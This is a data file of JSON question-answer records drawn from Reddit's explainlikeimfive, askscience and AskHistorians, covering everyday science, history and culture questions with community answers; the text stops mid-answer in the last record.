{"q_id": "7wsnbh", "title": "why does putting glasses on feel like it improves hearing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7wsnbh/eli5_why_does_putting_glasses_on_feel_like_it/", "answers": {"a_id": ["du2uwor", "du2v26y", "du2xqcu"], "score": [4, 2, 2], "text": ["Just spitballing here, but if you need glasses normally, you're probably spending a lot of energy on trying to see well (i.e. squinting, trying to make out exactly what something says or looks like, etc.). Most of that effort is probably so normal to you that you don't consciously notice it. However, when you put on glasses and no longer have to spend that energy on seeing, it frees up your ability to both passively notice and actively focus on other senses, like hearing.", "we use all our senses in conjunction, so even at night part of our brain is confirming that the sound is coming from close by or not by looking for a source of the sound. without your glasses you are relying only on your ears trying to echo-locate on their own the direction, location, and source of the sound. by using other senses to assist in those tasks, your ears can focus better on the what, instead of where and in what direction.", "I wear glasses and often have the opposite experience, quite often if someone at work is talking to me (noisy office) I often find it easier to hear them if I remove my specs. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1pzz3u", "title": "what is dpi on a mouse?", "selftext": "What makes high DPI on a gaming mouse so good?\nAlso, why can't you just adjust the sensitivity instead?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1pzz3u/eli5_what_is_dpi_on_a_mouse/", "answers": {"a_id": ["cd7ugpu"], "score": [8], "text": ["Ugh.  A lot of the answers here seem to be claiming things similar to '1 dot = 1 pixel movement'. No, it is not related to this at all.\n\nDPI is the scanning resolution.  It's not abnormal for some mice to go as high as 8,000DPI.  What this means is that it's capable of detecting movement at a resolution of 8,000ths of an inch.\n\nWhere this helps is so you don't end up with two things:  1:  The mouse skipping on fast movement due to losing track of movement across the surface plane and 2:  Allowing both fast or slow movement to still be recognised as precision and/or small amounts of movement.\n\nScaling 1:1 DPI:px at 8,000 DPI would be silly, because it would mean 1/10th of an inch would be enough movement to move a cursor across the entirety of many screens.  Where it becomes useful is to be abel to be very precise with not only movement but mouse acceleration, such that a slow movement is still tracked to move a small distance, but a high-speed movement not only will get picked up correctly, but gets the correct amount of acceleration applied.  This way at high speeds cursor movement is much quicker - and doesn't go from slow to ultraquick with no steps in between. It means you can have very low motion precise movements.\n\nMost importantly, it means that small, subtle movements - especially with high sensitivity and fast mouse cursors, aren't missed.  On a low, say, 100-200DPI mouse, a movement or even twist of the mouse might not be detected where you want it to be.  By having a high DPI this can not only be detected, but configured in such a way that that small twist doesn't mean \"shift the viewport by 180 degrees!\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "tlise", "title": "If earth had been a different size, either larger or smaller, what effect would it have had on the development of life?", "selftext": "Would life even be able to exist?\n\nIf the answer is no, under an assumption that the earth would still be able to support life, and the sun would still be within the reasonable range to accommodate life, what effects would this have had on the development of life itself?\n\nWould we able to travel around as freely? Would the climate change? Would any aspect of history be changed significantly (such as anything to do with Pangea)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tlise/if_earth_had_been_a_different_size_either_larger/", "answers": {"a_id": ["c4nnqb9"], "score": [7], "text": ["This is tricky to answer. In all probability, life would still exist on Earth. The tricky part would be the effect that a change in gravitation would have on the Earth. If we assume that the relative mass of the Earth remains the same, then we have two effects present. 1.) Increasing the volume (size) would mean a lesser gravitational effect. 2.) Decreasing the volume would mean that gravitation would be greater. Mass and radius (namely, the density) are proportional to the strength of gravity exhibited by a body. (In this case, the Earth.)\n\nIf we look at this very broadly (VERY broadly), we could postulate that a decrease in gravity would translate into larger lifeforms in general, and vice versa. (Other things such as oxygen abundance also play a factor in this, but for now, we'll just consider gravity). This is because gravity plays a role in things such as the circulatory system and bone density. It's a source of resistance to which lifeforms must adapt. (Think about why you get light-headed if you're upside-down or why astronauts lose bone mass while in space.) Reducing this resistance means that you can permit for larger creatures that don't need proportionately stronger parts in comparison to a 1G force (there will still be a size limit mind you). As a whole, the creatures in less gravity are likely to be less dense. I guess a way to think about this could also be \"The same amount of stuff, just in a larger area.\" This is speculation, mind you. For something more concrete, it would have to be observed. (evolutionarily, life has developed in relation to the conditions on Earth, making this difficult to observe if we would like to see it.)\n\nThe relative oxygen present would also be a determining factor as to how life would be affected. Oxygen abundance plays a role in both size and survivability. I'm not really going to comment on this, however, as I don't know much about oxygen abundance and its relationship to the presence of lifeforms, aside from a direct correlation between the two. There would likely be an impact on plant life, mind you. The more life-sustaining material that you have, the more easily you can produce larger creatures. Since plants produce oxygen (our main producers actually), any effect present on the plants will be proportional to animal consumer life.\n\nTo others: I'm aware that insect size is limited by the respiratory system due to oxygen supply. I wanted to comment on the gravitational aspect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8a1yrj", "title": "spacex is launching satellites to provide internet connection worldwide. what can we expect?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8a1yrj/eli5_spacex_is_launching_satellites_to_provide/", "answers": {"a_id": ["dwv7v95"], "score": [2], "text": ["Satellites won't make fiber optic cables obsolete, so both the satellites and the current fiber optic will be used.  Which means just more bandwidth, more speed available.  But, no matter how many satellites / bandwidth they add, we'll use it all up to the point where it's insufficient.  Within a few years.  3G, 4G, 5G...  however many G, within a couple  years it's \"too slow.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3sv8bw", "title": "what happens to juvenile offenders that turn 18 while they are incarcerated in a juvenile detention center?", "selftext": "Do they get transferred to the adult prison or get to finish their sentence in the juvy? What happens to their criminal record?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sv8bw/eli5_what_happens_to_juvenile_offenders_that_turn/", "answers": {"a_id": ["cx0o9d0", "cx0ogt6", "cx10an9"], "score": [14, 6, 2], "text": ["They'd get transferred to adult prison.\n\nIt's a consideration that would be taken into account before they were sentenced.\n\nIf thier sentance is long enough to pass thier 18th birthday, it's probably a serious felony and will be on record. ", "It depends on their sentence. Some will be released immediately, some will spend a few weeks or months extra in the detention center, and some will be transferred to a normal prison. ", "It's not black and white - juvenile laws vary greatly from state to state. Former data analyst for the Georgia Department of Juvenile Justice here. In Georgia, you could be sentenced as an adult and then spend all of the time up to your 17th birthday in a YDC (Youth Development Campus, i.e., youth prison) before being transferred to adult prison with the GDC. If sentenced as a juvenile you could spend a maximum of 5 years in a YDC under a Designated Felony commitment. There are \"kids\" in the Eastman YDC who are 20 years old. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "b2czo0", "title": "Did allied soldiers really hit en bloc clips (M1 garand loaders) to make the ping to make the enemy think they were reloading ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b2czo0/did_allied_soldiers_really_hit_en_bloc_clips_m1/", "answers": {"a_id": ["eis0qwo"], "score": [126], "text": ["Various anecdotes surrounding the M1 Garand \"ping\" noise have existed since the Second World War, and have cemented themselves in popular culture. It seems to be one of those things (along with many others, such as the \"every German gun an 88,\" and \"every German tank a Tiger\") that someone's uncle, grandfather, or friend of an acquaintance has heard of from an unnamed source or claims to have experienced years after the fact, but few, if any, verifiable instances can be found. In short, battlefield noise and distractions would make the \"ping\" extremely difficult to hear for the enemy at normal engagement ranges, and, short of every American simultaneously running out of ammunition, any enemy attempting to take advantage of it would be quickly spotted and shot down. In 2004, during a trip to Bastogne, Belgium, U.S. Army Chief Warrant Officer 5 Charles D. Petrie spoke with several German World War II veterans who had fought against the Americans in the vicinity, and asked them about the distinctive noise. His account was printed in the April 2012 edition of *American Rifleman* magazine as a comment in response to another reader's comment from the February 2012 issue about a Garand \"question and answer\" article from the November 2011 issue that featured editor and internationally-recognized small arms historian and collector Bruce N. Canfield; \n\n >  The \"Question  &  Answer\" on \"The M1's 'Deadly Defect?'\" (November 2011, p. 42) reminded me of a conversation I had with my dad regarding the M1 Garand and its clip during World War II....His name is Robert Emary, and he served in I Company, 506th Parachute Infantry Regiment, 101st Airborne Division. When the war ended, he was a technical sergeant and first sergeant for the company. He was a replacement and fought from Market Garden to Berchtesgaden. \n\n >  According to him, at Bastogne it was very common practice to bait the Germans by squeezing and releasing an empty clip to get the \"ping,\" and a lot of times an enemy would stand up, and that was the end of them. Initially, the Germans always seemed to know the exact time to expose themselves to put accurate fire on someone who had just emptied their Garand. He and his comrades knew the Germans could hear the clips coming out and also figured they were counting rounds. This happened pretty regularly at Bastogne, he said, because there were a lot of close-range engagements in the woods and dug in positions. Also, he always carried a couple empty clips in his field jacket pocket and would simply squeeze the clip, let it slide out of his fingers, hit the ground and be ready to shoot. After they started doing this, the Germans got a lot more cautious. \n\n >  He also told me some of the other tactics they used. When they were badly outnumbered, which was almost all the time, the Browning Automatic Rifleman would initially never fire other than a couple semi-automatic rounds. They were baiting the Germans and trying to get a number of them to get bold and expose themselves. When this happened the BAR man would let them have it. He said this was very effective and several times got them out of some bad situations.\n\n >  Dave Emary, Nebraska\n\n >  I found the above recollections to be most interesting, and they correspond with similar reports regarding the M1 rifle during World War II....The point of the recent \"Q & A\" was to refute the widespread myth that the pinging noise...cost the lives of many American soldiers during the war. In the majority of cases, the ping could not be heard even a few dozen yards away over the din on a typical battlefield. There were certainly isolated exceptions when an enemy may have been able to hear the noise. Even in close-quarter combat--when the ping may have been audible--the American with the empty Garand would usually just keep his head down for the few seconds it took to reload using a fresh eight-round clip. Rather than being a \"deadly defect,\" Emary's experiences suggest that, in isolated instances, it could actually be an advantage. While the M1 rifle can be justly criticized for several reasons, to maintain that the ping of an ejected clip resulted in the wholesale deaths of American soldiers simply wasn't the case. \n\n >  Bruce N. Canfield, Field Editor\n\nPetrie's response was,\n\n >  I read with interest Dave Emary's recounting of his father's experiences, \"The M1's Tactical Advantage?\" (February 2012, p. 22) with the Garand and its so-called \"deadly defect.\" While I do not discount the veracity of the senior Emary's account, nor those of other vets who have made similar observations in the past, I do think Field Editor Bruce N. Canfield correctly observed that it was actually a very rare thing for the \"ping\" to be heard in combat, and unlikely to be a factor in most individual engagements....\n\n >  I had an opportunity to travel to Bastogne in 2004 with several well-known veterans of Band of Brothers fame, and while overlooking Foy...I could not help but notice a number of older gentlemen on a path at the edge of the forest who were watching our activities, but maintaining a respectful distance. When I approached them after a few minutes, I was surprised to discover that they were members of German units that had fought in and around Bastogne--to include the company commander of troops in direct opposition to Easy Company. I spoke at length with these gentlemen....I asked each one of them about this matter of the Garand and its distinctive \"ping.\" Who would know better than the men who actually faced it in combat, right?\n\n >  The reality is that every *Alte K\u00e4mpfer* with whom I spoke found it laughable. Not only was the ping totally inaudible during engagements, they said, but even in the dead of night, the ruses of cycling a bolt or clearing a clip were well-known to both sides. Sure, an en-bloc clip clearing the breech might mean that a G.I. was reloading, but it told them nothing about who else from his squad was likely waiting around the corner....In other words, while the \"deadly defect\" has become a popular part of the M1's lore (and makes for a great story), it seems to be a uniquely American construct, with little-to-no validation from the *Wehrmacht* troops who actually faced them in combat--not from those that lived to tell about it, anyway\n\n >  CW5 Charles D. Petrie, U.S. Army,\n\n >  North Carolina\n\nCanfield has called the various stories surrounding the M1 Garand \"ping\" one of the firearms \"...subjects that are so silly as to not be worthy of serious discussion. It is clear that the \u201cdeadly ping sound\u201d of the M1 Garand is in the latter category. It is firmly ensconced as one of the bulwarks in the pantheon of U.S. martial arms absurd myths...\" \n\n >  This alleged defect of the M1 rifle apparently began making the rounds soon after the rifle's introduction into service in 1936. Despite the ubiquitous claim that has been around for more than 70 years, there has not been one documented instance of an American serviceman being killed (or wounded) because of the noise of an ejected M1 clip. When asked to produce evidence that this actually happened, some vague answer is usually given that somebody, somewhere, knew someone who somehow had been killed because of a noisy M1 clip. This urban legend will probably be around for another 70 years. While there may be legitimate reasons to criticize the M1 rifle, the sound of its ejected clip being some sort of \"deadly defect\" is not among them.\n\nDuring the Korean War, 636 enlisted American soldiers who had seen combat for an average of 6.7 months were surveyed by the U.S. Army's Operations Research Office (a contracted civilian-run institution at Johns Hopkins University) about clothing, equipment and weapons. A series of questions was asked relating to the mechanical operation of the M1 rifle;\n\nQuestion|Men Reporting, No.\n:--|:--\n1.) Is the safety noisy enough to be a source of serious difficulty|Yes - 213\n\"|No - 217\n2.) Is the sound of the clip being ejected of possible help to the enemy or is it helpful to you as an indication of when to reload, or is it of no importance|Helpful to the enemy - 85\n\"|Helpful to know when to reload, therefore retain - 187\n\"|Of no importance - 43\n3.) Is the M-1 rifle difficult to load in the winter|Yes - 117\n\nConclusions reached by the surveyors about the M1 rifle were;\n\n >  The M-1 Rifle\n\n >  ...\n\n >  9.) The noise caused by releasing the safety on the M-1 was loud enough to alert the enemy in some situations.\n\n >  10.) The noise caused by ejection of the empty clip from the M-1, despite the fact at close range it could be heard by the enemy, was considered valuable by the riflemen as a signal to reload.\n\n....\n\n >  One other complaint about the M1 was the noise made by the safety. Half the men had a nagging fear that some day the noise made in releasing the safety would reveal their positions to the enemy, yet only one-fourth objected to the distinctive noise the empty clip made when ejected. They were quite willing to retain the noise of the clip even though the enemy might be able to use it to advantage, because they found it a very useful signal to reload.\n\n**Sources:**\n\nCanfield, Bruce N. \"The M1's \"Deadly Defect?\"\" *American Rifleman*, November 2011.\n\nDonovan, G. N. Technical Memorandum ORO-T-18 (FEC) *Use of Infantry Weapons in Korea*. Baltimore: Johns Hopkins University Operations Research Office, 1952.\n\nEmary, Dave. \u201cThe M1's Tactical Advantage?\u201d *American Rifleman*, February 2012.\n\nPetrie, Charles D. \u201cMore on the Ping.\u201d *American Rifleman*, April 2012."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ua00e", "title": "AskScience AMA Series: Geology and Geosciences", "selftext": "We are going to have a joint AMA series today that will span the subjects of Tectonic geology, structural geology, petroleum geology, geochemistry of petroleum and of oceans, geophysics, volcanoes, earth structure, and biogeochemistry (sorry if I've left some out). \n\nWe will have people contributing from academic backgrounds, and oil-industry backgrounds, so all questions are fair game!\n\nI would also like to point out that a few of the mods and some panelists have been invited to contribute to a class-room like blog, where any questions that are received will have an entire blog dedicated to it, explaining the question and hopefully leaving you with more, it is located [here](_URL_0_). It is still in its infancy, but it will take off this week. If any of the panelists are also interested in contributing, please PM me.  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ua00e/askscience_ama_series_geology_and_geosciences/", "answers": {"a_id": ["c4tm8d7", "c4tmfoq", "c4to4q3", "c4to8fu", "c4trnk4", "c4trunh"], "score": [6, 3, 2, 2, 2, 2], "text": ["Why do ripple patterns in desert sand always branch into twos at their ends and never any other number?", "I want to participate more in the AskScience AMAs, because a lot of them end up with a very low score/comment count (at least, the ones in r/askscienceama). In an attempt to perhaps inspire curiosity, I offer a (living) list of general-purpose questions that may lead to more specific topics:\n\n * What is the most frustrating thing to happen in your field (not referring to budget cuts and that ilk, of course)? What about the most exciting? This should be a personal response, not an attempt to account for everyone's opinions.\n\n * What's the most interesting (to you) topic that you could prepare a 30+ minute presentation about that a layperson could follow? Assume \"layperson\" here to indicate a person with at least a preexisting interest, but at most a hobbyist involvement.\n\n * What is the last major \"breakthrough\" of your field? Did you have any involvement in its development (however slight)?\n\n * Theoretical or experimental: to which side do you lean and why? Does your field create such a dichotomy?\n\n * Regarding your personal specializations (indicated by your subreddit flair), what led you to choose those specific areas?\n\n * If you were forced to suggest one or two pieces of reading material that would begin the process of turning an interested person into a hobbyist, what would they be?\n\n * **added 9:28am**: What (if any) unrelated fields benefit/can benefit from advancements in your field? (i.e. using fluid dynamics to model traffic flow)\n\n(This list may grow over time, and not all of them need be answered)", "At the end of Mid Ocean Ridges, what happens? Do they just shrink or spread much thinner? Is there a visual way to see how they expand at the ends?\n\nThanks!", "From what I have experienced northern coasts are generally more rocky, while southern coasts are more likely to be sandy. (Northern Hemisphere observation, I've never been south of the equator) Why does this happen?", "1. Is there really as little ethnic diversity in the geosciences as they say there is? Here in the US, there are very, very, very few geoscientists who are from native, Latino, or African-American cultures. There are some ideas about why (the structure of our K-12 curriculum, these students living in cities/disconnected from nature.) How does that compare internationally? \n\n2. How important is a love of nature to a career in the geosciences? How has it influenced your career paths?", "When I look around me... I just see dirt, rocks, etc... In big piles or under water... What do you \"see\" when you look at the earth?\n\nAlso, I have experience with Wordpress if you would like some free help with your new site. :-)"]}, "title_urls": [], "selftext_urls": ["http://geomancam.wordpress.com/"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1mdbhr", "title": "what is the evolutionary purpose of the hyman?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mdbhr/eli5_what_is_the_evolutionary_purpose_of_the_hyman/", "answers": {"a_id": ["cc8412v", "cc84hlk", "cc84mb9", "cc85a55", "cc85ffa", "cc85nv5", "cc864vi", "cc86atu", "cc87w3y", "cc881w8", "cc88eke", "cc8bfga"], "score": [36, 128, 80, 27, 86, 3, 8, 7, 2, 6, 2, 2], "text": ["Not everything has to have an evolutionary purpose, if it isn't hindering reproduction it will stick around, even if it doesn't have use. ", "The scientific understanding of why humans have hymens that last until sexual activity begins is incomplete, so there's no concrete \"right\" answer.  Here's one thing to consider though: You're asking two questions.\n\n*First, we need to consider why many/all mammals have hymens that persist past birth.\n\n*Second, we need to understand why humans might keep their hymen for a particularly long time during life.  \n\nFor the first question, the fact that a vast array of mammals are born with large hymens, and keep them for a time after birth, suggests that it must have some function; it must DO something, or otherwise a lot of animals would have gotten rid of it by now.  The best answers I've heard about the benefit mammals gain from having hymens is that it reduces or eliminates the possibility of infectious organisms getting into the vagina. Some of these, like Chlamydia, are known to cause infertility, which is bad.  So blocking off the vagina when it isn't \"in use\" means that bacteria from the environment, particularly bacteria from the nearby anus, can't get in during childhood.  That is a likely reason why many mammals are born with large hymens, which then shrink over time.  \n\nThe other question is why humans in particular keep their hymens.  One possibility is that we just have a lot of bacteria that can cause vaginal trouble, so it's easiest to keep the hymen until it is broken during the first sexual intercourse - that way, you have the protection (or partial protection) right up until it's time to get rid of it.  Another possibility that other scientists think could be right is that there's something about human social organization that provides a benefit to a female having an intact hymen.  For instance, maybe she can get the best mate because she can demonstrate her virginity and lack of STDs.  If having the best mate gets you the best care and most food, maybe you can have the most babies, and that could help spread your genes for keeping your hymen through the species.\n\nEdit: Because a lot of feathers are getting ruffled about this: To lose the hymen would require a random mutation to eliminate it, or a series of random small mutations that get rid of it over time.  However, to look at a structure and say \"that's vestigial\" is to hypothesize that no mutation has occurred that is able to get rid of it for the generations and generations that it has existed without providing a benefit.  That's an assumption just like proposing that it provides some benefit, but we can test hypotheses to figure out whether it's still in the organism because it does something useful, or because selection simply hasn't had an opportunity to eliminate it because the right mutations haven't occurred or the right amount of time hasn't elapsed.  \n\nEdit 2: The ultimate \"null hypothesis\" is that the hymen exists the way it does entirely without providing a benefit, and I don't disagree that this could be true in this case.  Everyone who has brought this up is completely right, and I clearly didn't get that point across in my original post.  I personally suspect that the hymen's adaptive benefit is at birth in most mammals (for the reasons I described, i.e. keeping feces and other germs out of the reproductive tract) and that it sticks around in some form in humans for much longer than is needed simply because of the strong selective pressure to have a good robust hymen at birth, and the lack of any serious cost to keeping it around until the beginning of sexual activity.  I was just trying to describe some hypotheses that other scientists had proposed for adaptive values because I didn't want my opinion to be the only thing I posted.", "In fetal development the external organs, ie vagina and vulva form from the outer layer of the body. The internal organs, ie cervix, uterus ect form from the inner layer of the body. The hymen represents the junction of these two layers. As to if it serves any purpose? I have no idea. ", "Ok guys, I am going to sound like the biggest Virgin Neckbeard EVER, but I have to ask..\n\nWhat does a Hymen actually look like? Is it a thin piece of skin that covers the vaginal entrance?\n\nPs. I have had lots of sex and my mum says I'm cool.", "If you've ever changed a baby girls diaper you'd know the answer to this.  I never thought I would dig shit out of a tiny vagina on a daily basis.", "None. It's the result of a developmental process of development of the vaginal cavity. Imagine someone making holes in a donut by pinching the center of a dough between two fingers. A hole forms, but there's a residual thin band within the hole. That's the hymen.", "There seems to be a lot of talk On here about 'men naturally choosing virgins because they don't want to raise other mens children'. But I'd like to call attention to the fact that this theory of human sexual evolution is widely considered out-dated. \n\nMost hunter-gatherer cultures have some form of belief in partible paternity (a child has more than one father). Paternal jealousy seems to be a result of agricultural revolutions where women and children became property. It is relatively recent and unlikely to account for hymens through sexual selection. It also doesn't account for the fact that hymens are found in mammals with similar reproductive systems, including our close and very promiscuous chimp relatives. \n\nSome facts:\n\nHymens exist in many mammals\n\nIt is possible to be born without one\n\nIt is possible to be born with one so thick that it needs to be surgically removed\n\nIt does not necessarily break with sex\n\nIt may break without having sex\n\nThey thin over time due to estrogen\n\nThey may be a vestige of fetal development\n\nThey may keep bacteria out until sexual maturity\n\nNobody really knows its purpose... if it has one", "Hey OP,\n\nJust a friendly reminder to [search before submitting.](_URL_0_) This is by no means an uncommon topic, and there's already a lot of good info out there already! \n\nI'll let this post stay up for now since it's gained traction with the community - though had I have seen this post a few hours ago, I'd have deleted it and pointed you towards the search results!\n\nHappy redditing!", "I've always been told many females lose their hymen before sexual activity.", "To collaborate with Savage and disprove false societal beliefs, forming that awesome duo, the Mythbusters. ", "I think the more important realization is that the hymen carries no evolutionary disadvantage. Females born without a hymen due to some rare mutation have no higher chances to procreate. So why would it disappear in the population?", "The purpose of the Hyman is to provide some a ready way to Anglicize traditional Jewish names such as \u05d7\u05d9\u05d9\u05dd."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/search?q=hymen&amp;restrict_sr=on&amp;sort=relevance&amp;t=all"], [], [], [], []]}
{"q_id": "1nyx67", "title": "why is \"american gothic\" such an iconic image?", "selftext": "I've seen this painting in cartoons, movies, TV shows and in dozens of homages and sight gags, but I don't know anything about it other than what it looks like, nor do I know anything about the artist. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1nyx67/eli5_why_is_american_gothic_such_an_iconic_image/", "answers": {"a_id": ["ccnd8tu"], "score": [21], "text": ["Grant Wood First displayed it in 1930, right at the beginning of the depression.\n\nConsider what was happening to art at the time. Ever since film cameras were first developed, and becoming more increasingly common, artists tended to move more and more away from representational works to more abstract works. At the time Grant Wood painted American Gothic, abstract artists in Europe were the talk of the art world.\n\nGrant Wood himself had studied much of this while in Europe, and came back, ironically, with a healthier respect for representational art.\n\nDespite every person and object being so detailed, you can still read plenty into the painting itself. The more you look at it, the more you see, too. For example:\n\n* Why does such a simple farmhouse, with its focus on function, have such an unusually decorative window upstairs?\n* Why is the man looking directly at the viewer, while the woman is looking off into the distance somewhere?\n* What's the story behind the almost emotionless, straightforward look on their faces?\n* In a house that looks like it has never seen an electric light bulb, why is the upstairs curtain closed in the middle of the day?\n\nPart of it's charm is that so much can be read into it. It's been seen as a \"comic valentine\", as both praise of and insult to life in the midwest, and much more.\n\nIt's iconic status really came from being a depiction of straightforward basics, at a time when the country was heading into the Great Depression. It was taken by many as a reminder of the pioneer spirit of days gone by, and the values on which to focus in the coming years.\n\nIt's one of those cases of being the right image at the right time, which is what makes a true cultural icon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "50s9pg", "title": "What actually causes Scintillating Scotomas, and why do only some people suffer with them?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/50s9pg/what_actually_causes_scintillating_scotomas_and/", "answers": {"a_id": ["d76w9xh"], "score": [6], "text": ["it is almost a certainty that the neural phenomenon underlying scintillating scotomas is the same as [cortical spreading depression] (_URL_3_), a slow cascade of functional catastrophe that moves like a wave across the cortical surface. specifically, the scintillating scotoma (in most people who experience it) is CSD in primary visual cortex.\n\nWhat causes CSD prior to migraine (if that is what's happening)? it can be caused by local interruption of bloodflow - maybe in migraineurs it's caused by a brief vascular constriction, but that's not a settled question. the most common site for migraine aura to start is at the foveal confluence in the back of the brain, a complex area with a lot of wrinkles, so maybe there's a larger tendency for vascular problems to show up there? i don't think it's well-understood.\n\nthe connection between scintillating scotoma and CSD is primarily based on how closely their structure matches; a CSD wave moves at ~3mm per minute, and consists of a front of massive neural depolarization (i.e. neurons firing indiscriminately) followed by a tail of totally suppressed activity (where neurons can't fire at all). this is paralleled perceptually by the overt symptom of the fortification spectrum moving through the visual field (\"scintillations\") which is trailed by a region of total blindness (\"scotoma\"). the geometry of the visual cortex is such that when the CSD wave, which moves at a more-or-less constant speed, moves through the foveal representation (the center of your visual field) it should appear small and very slow, and when it moves through the peripheral representation (out in the edges of your visual field) it should appear large and fast moving. and this is exactly what is reported by most patients.\n\nthe best papers I know that summarize these phenomena are not open access but you might be able to get hold of them via a university library; here is a good review:\n_URL_0_\n\nThe neurophysiologist Otto Grusser had collected a large number of recordings of his own migraine aura and showed that they were a close fit to CSD through primary visual cortex (this is one of my favorite papers):\n_URL_4_\n\nKarl Lashley wrote probably the first paper implicating something like CSD as the basis of visual aura, back in 1941, although CSD had not been discovered yet:\n_URL_1_\n\nAnd, Peter Milner was the first to put the two phenomena together back in 1958:\n_URL_2_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://onlinelibrary.wiley.com/doi/10.1111/j.1468-2982.2001.00244.x/full", "http://archneurpsyc.jamanetwork.com/article.aspx?articleid=648953", "http://www.sciencedirect.com/science/article/pii/0013469458900737", "https://en.wikipedia.org/wiki/Cortical_spreading_depression", "http://www.sciencedirect.com/science/article/pii/004269899400187Q"]]}
{"q_id": "10uhfj", "title": "Science teacher - struggling with some concepts around rolling balls. Help?", "selftext": "I'm a bit embarrassed to be asking this, since I am a science teacher, but I need some help.\n\nI'm an elementary science teacher developing a new unit for first graders about some simple physics concepts and experimental design. The students will be doing experiments with balls and inclined planes. I have a whole bunch of balls - tennis balls, ping pong balls, marbles, etc.\n\nI'm having trouble with designing lessons about rolling, though, partly because I think I don't have a full grasp on the concept myself. The book I was using as a resource states, \"The size and weight of a ball does not affect how quickly it reaches the bottom of the ramp or how far it rolls,\" but my exploratory experimentation shows that some of the balls I have do indeed roll much faster than others.\n\nI've worked out that some of the issue is [rotational inertia](_URL_0_), but are there other factors at play here? I don't have a ton of solid balls - most of the ones I found at Toys R Us are hollow, such as tennis balls - would getting more solid balls of different sizes and materials give me the supplies I need? Or will things like differing friction for different materials still make things unpredictable?\n\nAny other advice about how to explain these concepts to first graders would be much appreciated!\n\nEDIT: Wow, thanks so much for all your comments! It was great to come home and find all this.\n\nEDIT 2: I've read through all the comments now and have a lot of food for thought - both a better understanding of what was going on with my observations, and some good ideas for how to go about teaching these concepts. A side note: a bunch of you mentioned that this seems too advanced for first grade, and I definitely agree that the whole picture is too complex for them to grasp. I'm not going to try to teach them about the deformations of different materials or static vs. sliding vs. rolling friction! My idea isn't to teach them everything, but to a) challenge some of their assumptions/misconceptions about the world, b) teach them some new things that are true even if not the whole truth out there, and c) help them practice the skill of finding out things by testing systematically instead of just assuming or asking someone. A comparison to another topic might be that I teach third graders about how the parts of a flower each play a role in making a new seed, without getting into how the DNA in the gametes combine, how proteins coating the pollen ensure that cross-species pollination doesn't usually occur, or what evolutionary factors influence whether a certain species is hermaphroditic or dioecious. All of those things are fascinating, and I think my knowing about them can help me be a better teacher, but I won't try to explain those concepts to such young children.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10uhfj/science_teacher_struggling_with_some_concepts/", "answers": {"a_id": ["c6gqqv2", "c6gquri", "c6grub1", "c6gttz7", "c6gubv1", "c6gucc0", "c6gun76", "c6guwim", "c6gvb2k", "c6gvk6c", "c6gzr3r"], "score": [10, 48, 7, 4, 5, 2, 50, 2, 2, 3, 2], "text": ["I would expect friction would make your experiment... less than ideal.  \n\nOne thing you might work on with 1st graders are levers.  You don't have to get into any math, but just show them how you can use leverage to multiply force.  Maybe even set something up to show how they can lift hundreds of pounds.  Talk about see-saws and wheelbarrows and shovels.  ", "Your experiment is likely complicated by the fact that rolling friction and sliding friction are two separate phenomena (rolling friction quite a bit more complicated at that), and a ball can both roll and slide quite a bit in the sort of experiments you've designed.  Could you switch to blocks of identical material in order to teach the concepts?  That way, you're just converting gravitational potential into translational motion, not rotational.\n", "The balls roll differently probably due to the types of friction force that is created by their interaction with the surface. A rubber ball, for instance, would roll quicker than, say, an iron ball (both of the same size and similar mass, so air resistance would also not be an issue) - because a rubber ball interacting with a surface would create more static friction than an iron ball.\n\nA good wheel would have good friction and would remain in the same relative position to the ground it is on, meaning that the stronger the static friction (motionless friction) between a wheel and the ground, the closer do these two values get: The distance between point A and point B on the road, and the distance the wheel has rotated (measured by the circumference of the wheel and the number of rotations that it made). A wheel that applies less static friction and more kinetic friction, friction that allows for motion - like two hands rubbing against one another, would not pass the same distance as the distance from point A to point B, because it would not maintain the same relative position to the ground, meaning it would slide ever so slightly with every turn, for the best explanation - imagine two friction-less objects: one a wheel with a stick through the middle and one a surface. Put the wheel on the surface and then spin it while it's fixed in location by the stick. The lack of friction would allow the wheel to spin even while touching the surface. That is static friction. Though this was an impossible situation, it's a thought experiment and it serves its purpose - that being to help you understand types of friction and their effect on the motion of your balls a little better.\n\nIf you need further clarification, I would be happy to oblige.", "The best demonstration I've seen illustrating this concept is through the use of disks and hoops.  you basically take an assortment of hoop/disks, for example a 1 inch long section of 3 inch diameter metal pipe, the same dimension of pvc pipe and maybe a few other disks, like a solid wooden disk.  If you choose objects with the same diameter, you can very graphically show the differences on how they roll.  You can show that objects with the same mass can rotate at different speeds", "Any way you roll them, rotational inertia is going to be a problem. It's proportional to mass (which is proportional to the cube of the radius) and also to the square of the radius, so unlike falling objects, size will also matter, even if they're balls of the same material. There are too many variables to control for. The balls will roll at different speeds.\n\nHowever, if you can get them to roll without 